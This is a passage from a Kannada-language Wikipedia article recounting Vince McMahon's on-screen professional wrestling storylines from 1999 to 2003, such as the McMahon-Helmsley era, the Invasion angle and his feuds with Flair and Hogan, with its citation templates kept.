ವಿವರಪಟ್ಟಿ ಮಾಡಲಾಯಿತು. ಒಸ್ಟಿನ್ ಸೋತರೆ, WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಗೆ ಮಲ್ಲಯುದ್ಧವಾಡಲು ಅವನು ನಿಷೇಧಿಸಲ್ಪಡುವನು: ಅವನು ಗೆದ್ದರೆ, ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ WWF TV ಪ್ರದರ್ಶನಕ್ಕೆ ನಿಷೇಧಿಸಲ್ಪಡುವನು. ಒಸ್ಟಿನ್ ದಿ ಅಂಡರ್ಟೇಕರ್ ನನ್ನು ಸೋಲಿಸಿದನು, ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ WWF TV ಯಿಂದ ನಿಷೇಧಿಸಲ್ಪಟ್ಟನು.<ref>{{cite web|url=http://www.prowrestlinghistory.com/supercards/usa/wwf/loaded.html#99|title=Fully Loaded 1999 results|accessdate=2008-01-16|publisher=Wrestling Supercards and Tournaments}}</ref> 1999ರಲ್ಲಿ ಬಿದ್ದುಹೋದ ಮೆಕ್ ಮಹೊನ್ ತಿರುಗಿಬಂದನು ಮತ್ತು ಟ್ರಿಪಲ್ ಎಚ್ ನೊಡನೆ ಇದ್ದ ಪಂದ್ಯದಲ್ಲಿ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಅನ್ನು ಗೆದ್ದುಕೊಂಡನು, ಸೆಪ್ಟೆಂಬರ್ 16 ''ಸ್ಮೇಕ್ ಡೌನ್!'' ಎಪಿಸೋಡ್ ನಲ್ಲಿ ಒಸ್ಟಿನ್ ಹೊರಗಿನಿಂದ ಅಡ್ಡಬಂದಕಾರಣ ಕೃತಜ್ನತೆ ತಿಳಿಸಿದನು. ಏನೇ ಅವನು ನಿರ್ಧರಿಸಿದರು ಮುಂದಿನ ಮಂಡೇಯ್ಸ್ ''ರಾವ್ ಈಸ್ ವಾರ್'' ನಲ್ಲಿ ತನ್ನ ಪದವಿಯನ್ನು ಬಿಟ್ಟುಕೊಡಬೇಕಾಯಿತು ಯಾಕೆಂದರೆ ಅವನು WWF TVಯಲ್ಲಿ ಪ್ರವೇಶಿಸಲು ಅನುಮತಿ ಕೊಡಲಿಲ್ಲ ಯಾಕೆಂದರೆ ಫುಲ್ಲಿ ಲೋಡೆಡ್ 1999ರ ಶರತ್ತು ಒಪ್ಪಂದವನ್ನು ಸಹಿಹಾಕಿದಕಾರಣ. ಹಾಗಿದ್ದರೂ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ WWF ಪದವಿ ಪ್ರದರ್ಶನದಲ್ಲಿ ಪುನಃ ಪೂರ್ವಸ್ಥಿತಿಗೆ ತಂದನು. ನಂತರದ ಕೆಲವು ತಿಂಗಳುಗಳಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು ಟ್ರಿಪಲ್ ಎಚ್ ದ್ವೇಷದಿಂದಿದ್ದರು, ದ್ವೇಷಕ್ಕೆ ಕಡಾಣೆಗೆ ಟ್ರಿಪಲ್ ಎಚ್ ಸ್ಟಿಫೇನಿ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಮದುವೆಮಾಡುವ ಕಥೆಅಂಶ ಬಂತು. ದ್ವೇಷವು 1999ರ ಆರ್ಮಗೆಡ್ಡೋನ್ ನಲ್ಲಿ ಉಚ್ಚಸ್ಥಾನಕ್ಕೇರಿತು: ಮೆಕ್ ಮಹೊನ್ ನೊ ಹೋಲ್ಡ್ಸ್ ಬೇರ್ಡ್ ಪಂದ್ಯದಲ್ಲಿ ಟ್ರಿಪಲ್ ಎಚ್ ಅನ್ನು ಎದುರಿಸಿದನು ಅದರಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಸೋತುಹೋದನು. ಅದಾದನಂತರ ಸ್ಟಿಫೇನಿ ಅವನ ಕಡೆಗೆ ತಿರುಗಿದಳು.<ref>{{cite web|url=http://www.wwe.com/shows/armageddon/history/1999/results/|title=Armageddon 1999 official results|accessdate=2008-01-16|publisher=WWE|archive-date=2008-03-19|archive-url=https://web.archive.org/web/20080319104738/http://www.wwe.com/shows/armageddon/history/1999/results/|url-status=dead}}</ref> ===ಹಿಂದಿರುಗು ಮತ್ತು ಹಿಂಬಾಲಿಸಿ ಹೋಗು/ಮೆಕ್ ಮಹೊನ್-ಹೆಲ್ಮ್ ಸ್ಲೆಯ್ ಯುಗ (2000–2001)=== {{Main|McMahon-Helmsley Era}} ಮಾರ್ಚ್ 13, 2000ರಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ WWF ದೂರದರ್ಶನಕ್ಕೆ ಹಿಂತಿರುಗಿದನು, ''ರಾವ್ ಈಸ್ ವಾರ್'' ಎಡಿಶನ್ ನಲ್ಲಿ ದಿ ರೋಕ್ ಗೆ ಬಿಗ್ ಶೊವಿನಿಂದ WWF ಪದವಿಯನ್ನು ಹಿಂದೆ ಪಡೆಯಲು ಸಹಾಯಮಾಡಿದನು, ಅವನು ಶೇನ್ ಮೆಕ್ ಮಹೊನ್ ಹಾಗು ಟ್ರಿಪಲ್ ಎಚ್ ರವರನ್ನೂ ಆಕ್ರಮಿಸಿದನು.<ref name="raw2000">{{cite web|url=http://www.onlineworldofwrestling.com/results/raw/2000.html|title=RAW is WAR results, 2000|accessdate=2008-01-16|publisher=WWE}}</ref> ಎರಡು ವಾರಗಳ ನಂತರ ವಿಶೇಷ ಅತಿಥಿ ನಿರ್ಣಯಕರ್ತನಾದ ಮೇಂಕೈಂಡ್ ನ ಸಹಾಯದಿಂದ ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು ದಿ ರೋಕ್ ಸೇರಿ ಟೇಗ್ ಟೀಮ್ ಪಂದ್ಯದಲ್ಲಿ ಶೇನ್ ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು ದಿ ಬಿಗ್ ಶೊ ರವರನ್ನು ಸೋಲಿಸಿದರು.<ref name="raw2000" /> ವ್ರೆಸಲ್ ಮೇನಿಯ 2000ರ, ಫೆಟಲ್ ಫೋರ್-ವೆ ಎಲಿಮಿನೆಶನ್ ಪಂದ್ಯದಲ್ಲಿ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ಪನ್ನು ಟ್ರಿಪಲ್ ಎಚ್ ಕಾಪಾಡಿಕೊಂಡನು, ಅದರಲ್ಲಿ ಎಲ್ಲಾ ಸ್ಪರ್ಧಿಗಳೂ ತಮ್ಮ ಬದಿಯಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಇಟ್ಟುಕೊಂಡಿದ್ದರು. WWF ವಿಮೆನ್ಸ್ ಚೇಂಪಿಯನ್ನಾದ ಮತ್ತು ಟ್ರಿಪಲ್ ಎಚ್ ನ ಹೆಂಡತಿಯಾದ ಸ್ಟಿಫೇನಿ ಮೆಕ್ ಮಹೊನ್ ಅವನ ಬದಿಯಲ್ಲದ್ದಳು, ದಿ ರೋಕ್ ನ ಬದಿಯಲ್ಲಿ ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ಇದ್ದನು, ಮಿಕ್ ಫೊಲಿನ ಬದಿಯಲ್ಲಿ ಲಿಂಡ ಮೆಕ್ ಮಹೊನ್ ಇದ್ದಳು ಮತ್ತು ಬಿಗ್ ಶೊನಿಗೆ ಶೇನ್ ಅವನ ಬದಿಯಲ್ಲಿದ್ದನು. ಬಿಗ್ ಶೊ ಮತ್ತು ಫೊಲಿಯನ್ನು ತೆಗೆದಾಕಿದನಂತರ, ಟ್ರಿಪಲ್ ಎಚ್ ಮತ್ತು ದಿ ರೋಕ್ ಇವರಿಬ್ಬರು ಹಿಂದೆ ಉಳಿದರು. ಹಾಗಿದ್ದರೂ ದಿ ರೋಕ್ ನ ಬದಿಯಲ್ಲಿ ವಿನ್ಸಿ ಇದ್ದನು, ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ನ ಮೇಲಿನ ವೈರತ್ವದನಂತರ ಇದುವೇ ಮೊದಲಾಗಿ ಅವನು ದಿ ರೋಕ್ ನ ವಿರುದ್ಧವೇ ಎದ್ದು ಖುರ್ಚಿಯಿಂದ ಹೊಡೆದನು, ಇದು ಟ್ರಿಪಲ್ ಎಚ್ ಗೆಲ್ಲಲು ಹಾಗು ಪದವಿಯನ್ನು ಇಟ್ಟುಕೊಳ್ಳಲು ಸಹಾಯಮಾಡಿತು.<ref>{{cite web|url=http://www.wwe.com/shows/wrestlemania/history/wm16/mainevent/|title=WrestleMania 2000 main event|accessdate=2008-01-16|publisher=WWE|archive-date=2008-02-21|archive-url=https://web.archive.org/web/20080221171738/http://www.wwe.com/shows/wrestlemania/history/wm16/mainevent/|url-status=dead}}</ref> ಇದು ಮೆಕ್ ಮಹೊನ್ ಹೆಂಸ್ಲೆ ಯರ ಕಾಲ ಪ್ರಾರಂಭವಾಗಲು ಅಧಿಕಾರವಾಗಿ ಉದ್ದೇಶಿಸಬಹುದು. WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಗೋಸ್ಕರ ಆಡುವ ಆರು-ಮಂದಿ ಟೇಗ್ ಟೀಮ್ ಪಂದ್ಯಕ್ಕೆ ಕಿಂಗ್ ಒಫ್ ದಿ ರಿಂಗ್ ನಲ್ಲಿ ಬ್ರೆದರ್ಸ್ ಒಫ್ ಡಿಸ್ಟ್ರಕ್ಷನ್ (ಅಂಡರ್ಟೇಕರ್ ಮತ್ತು ಕೇನ್) ಮತ್ತು ದಿ ರೋಕ್ ಅನ್ನು ಮೆಕ್ ಮಹೊನ್, ಶೇನ್ ಮತ್ತು WWF ಚೇಂಪಿಯನ್ ನಾದ ಟ್ರಿಪಲ್ ಎಚ್ ತೆಗೆದುಕೊಂಡರು. ಈ ಪಂದ್ಯದ ಶರತ್ತು ಏನಾಗಿತ್ತೇಂದರೆ ಯಾರೆಲ್ಲ ಪಿನ್ಫೊಲ್ ಗಳಿಸುತ್ತಾರೊ ಅವರು WWFನ ಚೇಂಪಿಯನ್ ಆಗುತ್ತಾರೆ. ದಿ ರೋಕ್, ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಹೊಡೆದನು ಇದು ದಿ ರೋಕ್ ಗೆ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಮತ್ತು ಅವನ ತಂಡಕ್ಕೆ ಜಯವನ್ನು ಗಳಿಸಿಕೊಟ್ಟಿತು.<ref>{{cite web|url=http://www.prowrestlinghistory.com/supercards/usa/wwf/kingring.html#2000|title=King of the Ring 2000 results|accessdate=2008-01-16|publisher=Wrestling Supercards and Tournaments}}</ref> ಡಿಸೆಂಬರ್ ತಿಂಗಳ 18 ''ರಾವ್'' ಎಡಿಶನ್ ನಲ್ಲಿ, ಕೂರ್ಟ್ ಏಂಗಲ್ ಅನ್ನು ನೋನ್-ಟೈಟಲ್ ಪಂದ್ಯದಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಎದುರಾದನು. ಮಿಕ್ ಫೊಲಿ ಅಡ್ದಬಂದು ಅವರಿಬ್ಬರನ್ನು ಹೊಡೆದಕಾರಣ ಅದು ಜಗಳವಿಲ್ಲದ ಜಗಳವಾಯಿತು ಪಂದ್ಯದ ನಂತರ ಇಬ್ಬರೂ ಫೊಲಿಯನ್ನು ಹೊಡೆದರು ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ತೆಗೆದಾಕಿದನು.<ref name="raw2000" /> ಶೇನ್ ನ ವಿರುದ್ಧ ನಿಲ್ಲಲು ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು ಸ್ಟೆಫನೀ ಒಂದಾದರು. ವ್ರೆಸಲ್ ಮೇನಿಯ X-ಸೆವೆನ್ ನಲ್ಲಿ ಲಿಂಡಲ ನಂತರ ಮೆಕ್ ಮಹೊನ್ ಶೇನ್ ನ ಮುಂದೆ ಸೋತನು. ದೈರ್ಯಹೀನ ಮಾಡುವಷ್ಟು ಲಿಂಡಲನ್ನು ಭಾವನಾತ್ಮಕವಾಗಿ ನಿಂದಿಸಿದನು. ಮಾನಸಿಕ ವಿಶ್ಲೇಷಣೆಯ ಕರಣ ಅವಳು ಪಂಜೆಯಾದಳು ಮತ್ತು ವಿನ್ಸೆ ತ್ರಿಶ್ ಸ್ತರ್ಟುಸ್ ಜೊತೆ ಬಹಿರಂಗವಾಗಿ ವೈವಾಹಿಕ ವ್ಯವಹಾರಮಡಿದ; ಕೊನೆಯದಾಗಿ, ಅವಳನ್ನು ತುಂಬ ಶಾಂತವಾಗಿರಿಸಿದ, ಈ ಕಥೆಯಲ್ಲಿ- ಅಲ್ಪ ಹೊಡೆತದಿಂದ ವಿನ್ಸೆಗೆ ತಗಲಿತು.<ref>{{cite web|url=http://www.wwe.com/shows/wrestlemania/history/wm17/results/|title=WrestleMania XVII official results|accessdate=2008-01-16|publisher=WWE|archive-date=2007-11-19|archive-url=https://web.archive.org/web/20071119085101/http://www.wwe.com/shows/wrestlemania/history/wm17/results/|url-status=dead}}</ref><ref>[https://www.youtube.com/watch?v=9Khz-5HDsiQ#t=03m36s ಮಕ್ಮಹೋನ್ vs ಮಕ್ಮಹೋನ್ - ವ್ರೆಸ್ತ್ಲೇಮನಿಯ 17 ಮ್ಯಾಚ್ ರಿಕ್ಯಾಪ್ MV] ಯುಟುಬ್ ವೀಡಿಯೊ. ಪರಿಷ್ಕರಿಸಲಾಗಿದೆ. 2010-04-17.</ref> ದಿ ರೋಕ್ ಅನ್ನು ಸೋಲಿಸಿ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಅನ್ನು ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ಪುನಃ ಗಳಿಸಲು ಅವನ ಜೊತೆ ಅದೇ ರಾತ್ರಿ ಸಂಬಂಧ ವಹಿಸಿಕೊಂಡನು. ಅವನು ವ್ರೆಸಲ್ ಮೇನಿಯದಲ್ಲಿ ದಿ ರೋಕ್ ಅನ್ನು ಎರಡನೆಯ ಸಮಯ ನಿರ್ಭಂದಪಡಿಸಬಹುದು ಎಂದು ಅದು ಪ್ರಮುಖಿಸಿತು. ಇಬ್ಬರು ಸೇರಿ ಟ್ರಿಪಲ್ ಎಚ್ ಜೊತೆ ಸಂಬಂಧ ವಹಿಸಿದರು, ಇದರಿಂದ ಒಸ್ಟಿನ್ ಮತ್ತು ಟ್ರಿಪಲ್ ಎಚ್ ಇಬ್ಬರೂ ರೋಕ್ ಅನ್ನು ಕೇಯ್ಫೇಬ್ ಕ್ರೂರ ದಾಳಿಯಿಂದ ಮತ್ತು ಕೇಯ್ಫೇಬ್ ತಡೆಹಿಡಿಯುವ ಮೂಲಕ ಅವನನ್ನು ಕೃತ್ಯದಿಂದ ತೆಗೆದಾಕಿದರು. ಇದು ರೋಕ್ ಅನ್ನು ಓಡಿಸಲು ಮಾಡಲಾಯಿತು ಮತ್ತು ದಿ ಸ್ಕೋರ್ಪಿಯನ್ ಕಿಂಗ್ ನ ಚಲನಚಿತ್ರ ತೆಗೆಯಲು, ಒಂದೇ ಸಮಯದಲ್ಲಿ ಎಲ್ಲಾ ಮೂರು ಪ್ರಧಾನ WWF ಪದವಿಯನ್ನು ಒಸ್ಟಿನ್ ಮತ್ತು ಟ್ರಿಪಲ್ ಎಚ್ ವಹಿಸಿಕೊಂಡರು (ಒಸ್ಟಿನ್ ನ WWF ಚೇಂಪಿಯನ್ಶಿಪ್, ಟ್ರಿಪಲ್ ಎಚ್ ಗಳಿಸಿದ ದಿ ಇಂಟರ್ಕೋನ್ಟಿನೆಂಟಲ್ ಚೇಂಪಿಯನ್ಶಿಪ್, ಮತ್ತು ದಿ ಟೇಗ್ ಟೀಮ್ ಚೇಂಪಿಯನ್ಶಿಪ್). ಟ್ರಿಪಲ್ ಎಚ್ ನ ಗಾಯದಕಾರಣ ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ನ ಒಂದು ಉದ್ಯೋಗ ದುಡುಕಿನಿಂದ ಅವರ ಸಂಬಂಧ ಸ್ವಲ್ಪ ಕಾಲಕ್ಕೆ ಮಾತ್ರ ಉಳಿಯಿತು. ===ಆಕ್ರಮಣ(2001–2005)=== {{Main|The Invasion (professional wrestling)|l1=The Invasion}} ಮಾರ್ಚ್ 2001ನ ವೇರ್ಲ್ಡ್ ಚೇಂಪಿಯನ್ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್(WCW) ಅನ್ನು AOL ಟೈಮ್ ವಾರ್ನೆರ್ ರಿಂದ ಉದ್ದಸಮಯದ ಸ್ಪರ್ಧಿ ಪದೋನ್ನತಿಯನ್ನು ಮೆಕ್ ಮಹೊನ್ ಕೊಂಡುಕೊಂಡನು, ಮತ್ತು ಸಂಘದಿಂದ ಅಣೇಕ ಮಲ್ಲಯುದ್ಧರನ್ನು ಸಹಿ ಹಾಕಿಸಿದನು. ಇದು ದಾಳಿಯ ಕಥೆಅಂಶದ ಆರಂಭವನ್ನು ಪ್ರಮುಖಿಸಿತು. ಇದರಲ್ಲಿ WWF ಮಲ್ಲಯುದ್ಧರ ವಿರುದ್ಧ ಕ್ರಮಬದ್ಧವಾಗಿ ಹಿಂದಿನ WCW ಮಲ್ಲಯುದ್ಧರ ಪಂದ್ಯ ಇಟ್ಟುಕೊಳ್ಳುತಿದ್ದರು. ಜುಲೈ 9, 2001ರ ''ರಾವ್'' ಎಡಿಶನ್ ನಲ್ಲಿ, WWF ರೋಸ್ಟರ್ ಅಲ್ಲಿ ಕೆಲವು ಎಕ್ಸ್ಟ್ರೀಮಿಟ್ಸ್ ಗಳು ಮತ್ತು ಅನೇಕ ಹಿಂದಿನ ECW ಮಲ್ಲಯುದ್ಧರು, ದಿ ಎಲೈಯನ್ಸ್ ರಚಿಸಲು WCW ಮಲ್ಲಯುದ್ಧರ ಜೊತೆ ಸೇರಿಕೊಂಡರು. ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ಈ ಒಕ್ಕೂಟದಲ್ಲಿ ಸೇರಿಕೊಂಡನು, ಶೇನ್ ಮತ್ತು ಸ್ತೆಫನಿ ಮಕ್ಮಹೋನ್ ಅವರು ರೊಕ್ ಅನ್ನು ಸೇರಲು ಮನದಟ್ಟು ಮಾಡಿದರು ಆದರೆ ವಿಫಲವಾದರು ಮತ್ತು WWF ನಲ್ಲಿ ಇರಲು ನಿರ್ಧರಿಸಿದ, ವಿನ್ಸೆ ಮಕ್ಮಹೋನ್ WWF ಅನ್ನು ಮುನ್ನಡೆಸಿದ. ಸೇರ್ವೈವರ್ ಸೀರೀಸ್ ನಲ್ಲಿ, ಸೇರ್ವೈವರ್ ಸೀರೀಸ್ ಎಲಿಮಿನಶನ್ ಪಂದ್ಯದಲ್ಲಿ ಟೀಂ WWF ಟೀಂ ಅಲೈಅನ್ಸ್ ಅನ್ನು ಸೋಲಿಸಿತು ಇದರಿಂದ ಇನ್ವಸನ್ ಕಥೆಗೆ ಅಂತ್ಯಮಾಡಿದರು.<ref>{{cite web|url=http://www.wwe.com/shows/survivorseries/history/2001/mainevent/|title=Survivor Series 2001 main event|accessdate=2008-01-16|publisher=WWE|archive-date=2008-02-24|archive-url=https://web.archive.org/web/20080224064801/http://www.wwe.com/shows/survivorseries/history/2001/mainevent/|url-status=dead}}</ref> 2001ರ ಸೆರ್ವೈವರ್ ಸೀರೀಸ್ ನಲ್ಲಿ WCW/ECW ಎಲೈಯನ್ಸ್ ಕುಸಿದುಬಿದ್ದ ಮೇಲೆ, ಮೆಕ್ ಮಹೊನ್ "ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ಕಿಸ್ ಮೈ ಎಸ್ ಕ್ಲಬ್" ಎಂದು ಕರೆಯಲ್ಪಡುವ "ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್ ಕಿಸ್ ಮೈ ಎಸ್ ಕ್ಲಬ್" ಅನ್ನು ರೂಪಿಸಿದನು, ಅದರಲ್ಲಿ ಅನೇಕ WWE ಯ ಪ್ರತಿಯೊಂದು ವ್ಯಕ್ತಿಯು ರಿಂಗಿನ ಮಧ್ಯದಲ್ಲಿ ಅವನ ಎಸ್ಸನ್ನು ಕಿಸ್ಸ್ ಮಾಡವ ಕಟ್ಟಳೆ ಇತ್ತು, ಒಂದುವೇಲೆ ಅವರು ನಿರಾಕರಿಸಿದರೆ ತಡೆಯಲ್ಪಡುವರು ಅಥವಾ ತೆಗೆದಾಕಲ್ಪಡುವರು ಎಂಬ ಬೆದರಿಕೆಯೂ ಒಳಗೊಂಡಿತ್ತು. ಮೆಕ್ ಮಹೊನ್ ''ಸ್ಮೇಕ್ ಡೌನ್!'' ಎಪಿಸೋಡ್ ನಲ್ಲಿ ರಿಕಿಶಿನ ಎಸ್ಸನ್ನು ಕಿಸ್ಸ್ ಮಾಡಲು ಬಲವಂತಪಡಿಸಿದಾಗ ನಂತರ ದಿ ರೋಕ್ ಕ್ಲಬ್ಬನ್ನು ನಿಜವಾಗಿಯು ಮುಚ್ಚಿ ಹೋಗಿದೆಂದು ಪ್ರಕಟಿಸಿದನು;<ref name="assclub02540">{{cite web|url=http://www.onlineworldofwrestling.com/results/smackdown/011206.html|title=WWE SmackDown! Results|accessdate=2009-08-09|publisher=Online World of Wrestling}}</ref> ಹಾಗಿದ್ದರೂ, ಕ್ಲಬ್ ಅನೇಕ ಬಾರಿ ಆ ವರ್ಷದಲ್ಲಿ ಮುಂದುವರಿಸಿದರು. ಜಿಮಿಕ್ ಇನ್ಟೆರ್ನೆಟ್ ಮುಕಾಂತರ ಶಿರೋನಾಮದ "ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್ ನ ಕಿಸ್ ಮೈ ಎಸ್ ಕ್ಲಬ್ - ದಿ WWE'ಯ ಮೋಸ್ಟ್ ವಲ್ಯುಯೆಬಲ್ ಎಸೆಟ್" ಕಾರ್ಟೂನನ್ನು ಶುರುಮಾಡಿದನು. ಕಾರ್ಟೂನ್ ಸರಣಿಯು, ಎನಿಮೇಕ್ಸ್ ಎಂಟರ್ಟೇನ್ಮೆಂಟ್ ರಿಂದ ತಯಾರಿಸಲ್ಪಟ್ಟಿತು, ನವೆಂಬರ್ 22, 2006 ರಂದು WWE.Com ನಲ್ಲಿ ಮೊದಲ ಪ್ರವೇಶ ಮಾಡಿತು. WWE ಮತ್ತು ಕಾರ್ಟೂನ್ ನೆಟ್ವೇರ್ಕ್ ನಡುವೆ ಒಂದು ತೀರುವೆಯಿಂದ ಕಾರ್ಟೂನ್ ನಂತರ ರದ್ದುಮಾಡಲಾಯಿತು ಯಾಕೆಂದರೆ ಪ್ರದರ್ಶನವು ಕಾರ್ಟೂನ್ ನೆಟ್ವೇರ್ಕ್ ನ ''ಎಸ್ಸಿಯ್ ಮೆಕ್ ಗೀ'' ಪ್ರದರ್ಶನದಂತೆ ಒಂದೇ ರೀತಿಯಲ್ಲಿ ಇದ್ದಕಾರಣ [[File:Undertaker, Vince McMahon, Brock Lesnar, & Sable in a WWE ring.JPG|thumb|right|250px|ದ ಅಂಡರ್ಟಕೆರ್ , ಮಕ್ಮಹೋನ್, ಬ್ರೋಕ್ಕ್ ಲೆಸ್ನರ್, ಮತ್ತು ಸಬಲೆ ಸ್ಮಕ್ಕ್ ಡೌನ್ ಅಲ್ಲಿ!]] ನವೆಂಬರ್ 2001ರಲ್ಲಿ, ರಿಕ್ ಫ್ಲೇರ್ ಎಂಟು ವರ್ಷದ ಬಿಡುವಿನಿಂದ ಪುನಃ WWFಗೆ ಬಂದನು ಹಾಗು ತನ್ನನ್ನು WWFನ ಕೊ-ಯಜಮಾನ ಎಂದು ಪ್ರಕಟಿಸಿದನು, ಅದು ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಸಿಟ್ಟಿಗೆಬ್ಬಿಸಿತು. ಇಬ್ಬರು ಜನವರಿ 2002ರ ರೊಯಲ್ ರಂಬಲ್ ನ ಸ್ಟ್ರೀಟ್ ಫೈಟ್ ನಲ್ಲಿ ಎದುರೆದುರಾದರು ಮತ್ತು ಫ್ಲೇರ್ ಜಯ ಹೊಂದಿದನು.<ref>{{cite web|url=http://www.wwe.com/shows/royalrumble/history/198811413/results/|title=Royal Rumble 2002 official results|accessdate=2008-01-16|publisher=WWE}}</ref> ಅವರ ಕೊ-ಯಜಮಾನರು ಎಂಬ ಸ್ಥಾನದಿಂದ, ಮೆಕ್ ಮಹೊನ್ ''ಸ್ಮೇಕ್ ಡೌನ್!'' ನ ಯಜಮಾನನಾದನು ತರುವಾಯ ಫ್ಲೇರ್ ''ರಾವಿನ'' ಯಜಮಾನನಾದನು ಹಾಗಿದ್ದರೂ, ಜೂನ್ 10, 2002ರ ''ರಾವ್'' ಎಡಿಶನ್ ನಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಫ್ಲೇರನ್ನು ಸೋಲಿಸಿ ಪೈಪೋಟಿಯನ್ನು ಮುಕ್ತಾಯಮಾಡಿದನು ಮತ್ತು WWEನ ಒಂದೇ ಯಜಮಾನನಾದನು.<ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/raw/020610.html|title=RAW results - June 10, 2002|accessdate=2008-01-16|publisher=Online World of Wrestling}}</ref> ಫೆಬ್ರವರಿ 13, 2003ರ ''ಸ್ಮೇಕ್ ಡೌನ್!'' ಎಡಿಶನ್ ನಲ್ಲಿ, ಹಲ್ಕ್ ಹೊಗನ್ ಐದು-ತಿಂಗಳ ಬಿಡುವಿನಂತರ ಹಿಂದೆ ಬರುವುದನ್ನು ಮೆಕ್ ಮಹೊನ್ ಹಳಿತಪ್ಪಿಸಲು ಪ್ರಯತ್ನಿಸಿದನು ಆದರೆ ಹೊಗನ್ ನಿಂದ ಹೊಡೆಯಲ್ಪಟ್ಟನು ಮತ್ತು ಎಟೋಮಿಕ್ ಲೆಗ್ಡ್ರೋಪ್ ಅನ್ನು ಪಡೆದನು.<ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/smackdown/030213.html|title=SmackDown! results - February 13, 2003|accessdate=2008-01-16|publisher=Online World of Wrestling|archive-date=2008-04-17|archive-url=https://web.archive.org/web/20080417193102/http://www.onlineworldofwrestling.com/results/smackdown/030213.html|url-status=dead}}</ref> ನೊ ವೆ ಔಟ್ ನಲ್ಲಿ, ರೋಕ್ ಹಾಗು ಹೊಗನ್ ವಿರುದ್ಧ ಇದ್ದ ಪಂದ್ಯದಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಅಡ್ಡಬಂದನು. ಹೊಗನ್ ಎಟೋಮಿಕ್ ಲೆಗ್ಡ್ರೋಪ್ ನಿಂದ ರೋಕನ್ನು ಹೊಡೆದು ನಿಜವಾಗಿಯೂ ಪಂದ್ಯವನ್ನು ಗೆದ್ದನು ಆದರೆ ಅಲ್ಲಿ ಕತ್ತಳೆಯಾಯಿತು. ಬೆಳಕು ಬಂದಮೇಲೆ, ಮೆಕ್ ಮಹೊನ್ ಹೊಗನ್ ಗೆ ಭ್ರಮೆ ಹಿಡಿಸಲು ರಿಂಗಿನ ಬದಿಗೆ ಬಂದನು. ಸಿಲ್ವೇನ್ ಗ್ರೀನಿಯರ್, ನಿರ್ಣಯಕರ್ತ, ದಿ ರೋಕ್ ಗೆ ಒಂದು ಖುರ್ಚಿ ಕೊಟ್ಟನು, ನಂತರ ಅದರಿಂದ ಹೊಗನ್ ನನ್ನು ಹೊಡೆದನು. ಅವನು ಹೊಗನ್ ನನ್ನು ಸೋಲಿಸಲು ರೋಕ್ ನನ್ನು ಅವನ ಮೇಲೆ ಹಾಕಿ ಪಂದ್ಯವನ್ನು ಮುಕ್ತಾಯಗೊಳಿಸಿದನು.<ref>{{cite web|url=http://www.wwe.com/shows/nowayout/history/2003/mainevent/|title=No Way Out 2003 main event|accessdate=2008-01-16|publisher=WWE}}</ref> ಇದರ ಪರಿಣಾಮವಾಗಿ ಮೆಕ್ ಮಹೊನ್ ವ್ರೆಸಲ್ ಮೇನಿಯ XIXನಲ್ಲಿ ಹೊಗನ್ ನನ್ನು ಎದುರಿಸುವಂತಾಯಿತು, ಅದರಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಸ್ಟ್ರೀಟ್ ಫೈಟ್ ನಲ್ಲಿ ಕಳೆದುಕೊಂಡನು.<ref>{{cite web|url=http://www.wwe.com/shows/wrestlemania/history/wm19/results/|title=WrestleMania XIX official results|accessdate=2008-01-16|publisher=WWE}}</ref> ಮೆಕ್ ಮಹೊನ್ ರಿಂಗೊಳಗೆ ಬರಬಾರದೆಂದು ಹೊಗನ್ ಗೆ ತಡೆಗಟ್ಟಿದನು. ಆದರೆ ಹೊಗನ್ "ಶ್ರೀ.ಅಮೇರಿಕ" ಎಂಬ ಜಿಮಿಕ್ಕಿನಿಂದ ಹಿಂದೆ ಬಂದನು. ಮೆಕ್ ಮಹೊನ್ ಹೊಗನ್ ಶ್ರೀ.ಅಮೇರಿಕದ ಮುಖವಾಡವನ್ನು ಹಾಕಿದ್ದಾನೆ ಎಂದು ತೋರಿಸಲು ಪ್ರಯತ್ನಮಾಡಿದನು ಆದರೆ ತನ್ನ ಈ ಪ್ರಯತ್ನದಲ್ಲಿ ವಿಫಲನಾದನು. ಹೊಗನ್ ನಂತರ WWE ಯನ್ನು ಬಿಟ್ಟು ಹೊರಟನು ಮತ್ತು ಆ ಸಂದರ್ಭದಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಹಕ್ಕು ಸಾದಿಸಿದನು ಅದೇನೆಂದರೆ ಅವನು ಶ್ರೀ.ಅಮೇರಿಕನೇ ಹಲ್ಕ್ ಹೊಗನ್ ಎಂದು ಕಂಡುಹಿಡಿದಿದ್ದೇನೆಂದು ಮತ್ತು ಅವನನ್ನು 